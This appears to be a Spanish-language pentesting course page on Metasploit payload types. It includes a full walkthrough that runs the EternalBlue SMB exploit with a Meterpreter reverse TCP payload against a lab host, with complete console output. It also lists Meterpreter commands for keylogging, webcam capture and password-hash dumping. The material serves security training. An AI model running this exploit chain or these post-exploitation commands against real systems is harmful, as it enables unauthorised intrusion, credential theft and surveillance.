Payloads

En Metasploit, una Payload (carga útil) se refiere a un módulo que ayuda al módulo de exploit, generalmente devolviendo un shell al atacante. Las cargas útiles se envían junto con el exploit para eludir los procedimientos de funcionamiento estándar del servicio vulnerable (función del exploit) y luego se ejecutan en el sistema operativo objetivo para, normalmente, devolver una conexión inversa al atacante y establecer un punto de apoyo (función de la carga útil).

Existen tres tipos diferentes de módulos de carga útil en el marco de Metasploit: Singles, Stagers y Stages. Usar estas tres tipologías de interacción de cargas útiles puede ser beneficioso para el pentester, ya que ofrece la flexibilidad necesaria para realizar ciertas tareas. Si una carga útil está o no en etapas (staged) se representa con una barra (/) en el nombre de la carga útil.

Por ejemplo:

  • windows/shell_bind_tcp es una carga útil simple (Single) sin etapas.

  • windows/shell/bind_tcp consiste en un stager (bind_tcp) y una etapa (shell).

Singles (Cargas Útiles Simples)

Una carga útil Single contiene el exploit y el shellcode completo para la tarea seleccionada. Estas cargas útiles son más estables por diseño ya que contienen todo en uno. Sin embargo, algunos exploits no soportan el tamaño resultante de estas cargas útiles, ya que pueden volverse bastante grandes. Las cargas útiles simples son autónomas, se envían y ejecutan en el sistema objetivo, brindando un resultado inmediatamente después de su ejecución. Un ejemplo podría ser añadir un usuario al sistema objetivo o iniciar un proceso.

Stagers (Gestores)

Las cargas útiles Stager trabajan con las cargas útiles Stage para realizar una tarea específica. Un Stager espera en la máquina del atacante, listo para establecer una conexión con el host víctima una vez que la etapa (Stage) completa su ejecución. Los stagers se utilizan para configurar una conexión de red entre el atacante y la víctima y están diseñados para ser pequeños y confiables. Metasploit selecciona el más adecuado y, si es necesario, utiliza uno menos preferido.

Stagers en Windows: NX vs NO-NX

  • NX (No-eXecute) aborda problemas de compatibilidad con DEP (Data Execution Prevention).

  • Los stagers NX son más grandes debido a la asignación de memoria con VirtualAlloc.

  • La opción predeterminada es ahora compatible con NX y Windows 7.

Stages (Etapas)

Las Stages son componentes de carga útil que se descargan a través de los módulos Stager. Estas etapas proporcionan funciones avanzadas sin límites de tamaño, como Meterpreter, inyección VNC, entre otras. Las stages automáticamente usan middle stagers para realizar una descarga completa:

  • Un solo recv() fallará con cargas útiles grandes.

  • El stager recibe el middle stager.

  • El middle stager realiza la descarga completa.

Cargas Útiles con Etapas (Staged Payloads)

Una carga útil en etapas es un proceso de explotación modularizado y funcionalmente separado. Cada parte completa su objetivo individual, pero todas funcionan juntas para encadenar el ataque. Esto finalmente concede acceso remoto a la máquina objetivo si todas las etapas funcionan correctamente.

El objetivo de estas cargas útiles es, además de conceder acceso shell, ser lo más compactas e inconspicuas posible para evadir antivirus (AV) o sistemas de prevención de intrusiones (IPS). La Stage0 es la primera parte de la carga útil que se envía, cuyo único propósito es iniciar una conexión inversa al atacante. Los nombres comunes para estas conexiones incluyen reverse_tcp, reverse_https y bind_tcp.

Ejemplo de Comando show payloads

scssCopiar códigomsf6 > show payloads

<SNIP>

544  windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
545  windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption)
546  windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support

<SNIP>

Cargas Útiles Meterpreter

La carga útil Meterpreter es un tipo específico de carga útil multifacética que utiliza inyección DLL para asegurar una conexión estable y persistente en el host víctima. Meterpreter reside completamente en la memoria del host remoto, lo que lo hace difícil de detectar con técnicas forenses convencionales. Una vez ejecutada, se crea una nueva sesión que genera una interfaz de Meterpreter. Esta interfaz es similar a msfconsole, pero todos los comandos están dirigidos al sistema objetivo.

Meterpreter ofrece una variedad de comandos útiles, como captura de pulsaciones de teclas, recolección de hashes de contraseñas, acceso al micrófono, captura de pantalla, entre otros. Además, se pueden cargar y descargar dinámicamente plugins para asistir en la evaluación.

En secciones posteriores se explorarán más detalles sobre Meterpreter y los diferentes plugins disponibles.

Búsqueda de Cargas Útiles (Payloads)

Para seleccionar nuestra primera carga útil (payload), es importante saber qué queremos hacer en la máquina objetivo. Por ejemplo, si buscamos persistencia de acceso, probablemente querremos seleccionar una carga útil de Meterpreter.

Como se mencionó antes, las cargas útiles de Meterpreter nos ofrecen una gran flexibilidad. Su funcionalidad base ya es vasta y poderosa. Al combinarse con complementos como Mimikatz de GentilKiwi, podemos automatizar y entregar partes de la prueba de penetración mientras mantenemos una evaluación organizada y eficiente en cuanto al tiempo. Para ver todas las cargas útiles disponibles, podemos usar el comando show payloads en msfconsole.

Lista de Payloads en Metasploit

msf6 > show payloads

Payloads
========

   #    Nombre                                                Fecha de Divulgación  Rango    Revisión  Descripción
   ---- ----------------------------------------------------  -------------------  -------  --------  ------------
   0    aix/ppc/shell_bind_tcp                                manual  No    AIX Command Shell, Bind TCP Inline
   1    aix/ppc/shell_find_port                               manual  No    AIX Command Shell, Find Port Inline
   2    aix/ppc/shell_interact                                manual  No    AIX execve Shell for inetd
   3    aix/ppc/shell_reverse_tcp                             manual  No    AIX Command Shell, Reverse TCP Inline
   4    android/meterpreter/reverse_http                      manual  No    Android Meterpreter, Android Reverse HTTP Stager
   5    android/meterpreter/reverse_https                     manual  No    Android Meterpreter, Android Reverse HTTPS Stager
   6    android/meterpreter/reverse_tcp                       manual  No    Android Meterpreter, Android Reverse TCP Stager
   7    android/meterpreter_reverse_http                      manual  No    Android Meterpreter Shell, Reverse HTTP Inline
   8    android/meterpreter_reverse_https                     manual  No    Android Meterpreter Shell, Reverse HTTPS Inline
   9    android/meterpreter_reverse_tcp                       manual  No    Android Meterpreter Shell, Reverse TCP Inline
   10   android/shell/reverse_http                            manual  No    Command Shell, Android Reverse HTTP Stager
   11   android/shell/reverse_https                           manual  No    Command Shell, Android Reverse HTTPS Stager
   12   android/shell/reverse_tcp                             manual  No    Command Shell, Android Reverse TCP Stager
   13   apple_ios/aarch64/meterpreter_reverse_http            manual  No    Apple_iOS Meterpreter, Reverse HTTP Inline

Selección de Payload para Windows 7 (x64)

En lugar de usar el payload predeterminado, que es un simple reverse_tcp_shell, utilizaremos un payload de Meterpreter para Windows 7 (x64). Navegamos en la lista de payloads y encontramos la sección que contiene payloads para Windows (x64).

   515  windows/x64/meterpreter/bind_ipv6_tcp                             manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                        manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   517  windows/x64/meterpreter/bind_named_pipe                           manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp                                  manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                              manual  No    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                             manual  No    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   521  windows/x64/meterpreter/reverse_http                              manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   522  windows/x64/meterpreter/reverse_https                             manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                        manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   524  windows/x64/meterpreter/reverse_tcp                               manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                           manual  No    Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                          manual  No    Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                           manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                          manual  No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)

Filtrando Cargas Útiles con grep

Puede ser un proceso largo buscar el payload adecuado entre una lista tan extensa. Para acelerar la búsqueda, podemos utilizar el comando grep en msfconsole y filtrar términos específicos.

Por ejemplo, si queremos una reverse shell basada en TCP manejada por Meterpreter, podemos buscar todos los resultados que contengan la palabra Meterpreter.

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads

Esto nos devuelve 14 resultados. Ahora podemos añadir otro comando grep para buscar solo aquellos que contengan reverse_tcp.

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads

   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)

Selección del Payload

Para seleccionar el payload deseado, utilizamos el comando set payload <número>.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp

Después de seleccionar el payload, aparecerán más opciones disponibles para configurar, como LHOST y LPORT, que son la dirección y puerto de escucha para inicializar la conexión reversa.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------  
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------  
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Uso de Payloads (Cargas Útiles)

Es momento de configurar los parámetros tanto del módulo de explotación como del módulo de payload. Para la parte de explotación, debemos configurar los siguientes parámetros:

Parámetros del Exploit:

Parámetro

Descripción

RHOSTS

La dirección IP del host remoto, es decir, la máquina objetivo.

RPORT

No requiere cambio, solo confirmar que estamos en el puerto 445, donde corre SMB.

Parámetros del Payload:

Parámetro

Descripción

LHOST

La dirección IP del host, es decir, la máquina atacante.

LPORT

No requiere cambio, solo confirmar que el puerto no esté en uso.

Si queremos verificar rápidamente nuestra dirección IP (LHOST), siempre podemos usar el comando ifconfig directamente desde el menú de msfconsole.

msf6 exploit(**windows/smb/ms17_010_eternalblue**) > ifconfig
[*] exec: ifconfig

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500

<SNIP>

inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15

<SNIP>

Ahora establecemos el LHOST y RHOSTS:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40

Luego, podemos ejecutar el exploit y revisar los resultados:

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.15:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-14 11:25:32 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Después de abrir la sesión de Meterpreter:

meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

El comando whoami, común en Windows, no funciona aquí, ya que el prompt es de Meterpreter. Podemos usar el comando equivalente en Linux: getuid.

Comandos de Meterpreter

Explorar el menú de ayuda nos permite ver todas las capacidades del payload de Meterpreter.

meterpreter > help

Comandos Básicos:

Comando

Descripción

?

Menú de ayuda

background

Envía la sesión actual al fondo

exit

Termina la sesión de Meterpreter

run

Ejecuta un script de Meterpreter o un módulo Post

sessions

Cambia rápidamente a otra sesión

Comandos del Sistema de Archivos:

Comando

Descripción

cd

Cambia de directorio

ls

Lista archivos

download

Descarga un archivo o directorio

upload

Sube un archivo o directorio

rm

Elimina el archivo especificado

Comandos de Redes:

Comando

Descripción

arp

Muestra la caché ARP del host

ifconfig

Muestra las interfaces

netstat

Muestra las conexiones de red

portfwd

Redirige un puerto local a un servicio remoto

Comandos del Sistema:

Comando

Descripción

getuid

Muestra el usuario actual

ps

Lista los procesos en ejecución

shutdown

Apaga el sistema remoto

reboot

Reinicia el sistema remoto

sysinfo

Obtiene información del sistema remoto

Comandos de Interfaz de Usuario:

Comando

Descripción

screenshot

Toma una captura de pantalla del escritorio

keyscan_start

Inicia la captura de teclas

keyscan_dump

Muestra el buffer de teclas capturadas

Comandos de Cámara Web:

Comando

Descripción

webcam_snap

Toma una captura desde la cámara web

webcam_stream

Transmite un video desde la cámara web

Comandos de Elevación de Privilegios:

Comando

Descripción

getsystem

Intenta elevar los privilegios a SYSTEM

hashdump

Extrae los hashes del SAM

meterpreter > cd Users
meterpreter > ls
meterpreter > shell
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users> whoami
nt authority\system

Al usar shell, podemos acceder a la CLI de Windows en la máquina objetivo.

Tipos de Payload (Cargas Útiles)

La siguiente tabla contiene los payloads más comunes usados en máquinas Windows y sus respectivas descripciones.

Payload

Descripción

generic/custom

Listener genérico, de uso múltiple

generic/shell_bind_tcp

Listener genérico, de uso múltiple, shell normal, conexión TCP vinculada

generic/shell_reverse_tcp

Listener genérico, de uso múltiple, shell normal, conexión TCP inversa

windows/x64/exec

Ejecuta un comando arbitrario (Windows x64)

windows/x64/loadlibrary

Carga una biblioteca arbitraria x64

windows/x64/messagebox

Genera un cuadro de diálogo con un título, texto e ícono personalizables

windows/x64/shell_reverse_tcp

Shell normal, payload único, conexión TCP inversa

windows/x64/shell/reverse_tcp

Shell normal, stager + stage, conexión TCP inversa

windows/x64/shell/bind_ipv6_tcp

Shell normal, stager + stage, stager TCP vinculado a IPv6

windows/x64/meterpreter/$

Payload de Meterpreter + variedades anteriores

windows/x64/powershell/$

Sesiones interactivas de PowerShell + variedades anteriores

windows/x64/vncinject/$

Servidor VNC (inyección reflexiva) + variedades anteriores

Otros payloads críticos que son ampliamente utilizados por los evaluadores de seguridad durante las pruebas de penetración incluyen los payloads de Empire y Cobalt Strike. Aunque no están dentro del alcance de este curso, te sugerimos investigarlos en tu tiempo libre, ya que pueden proporcionar una gran cantidad de información sobre cómo los profesionales realizan evaluaciones en objetivos de alto valor.

Además de estos, por supuesto, hay una gran variedad de otros payloads. Algunos están destinados a dispositivos específicos, como Cisco, Apple o PLC. Algunos podemos generarlos nosotros mismos utilizando msfvenom. Sin embargo, a continuación, veremos encoders y cómo pueden influir en el resultado de un ataque.

Last updated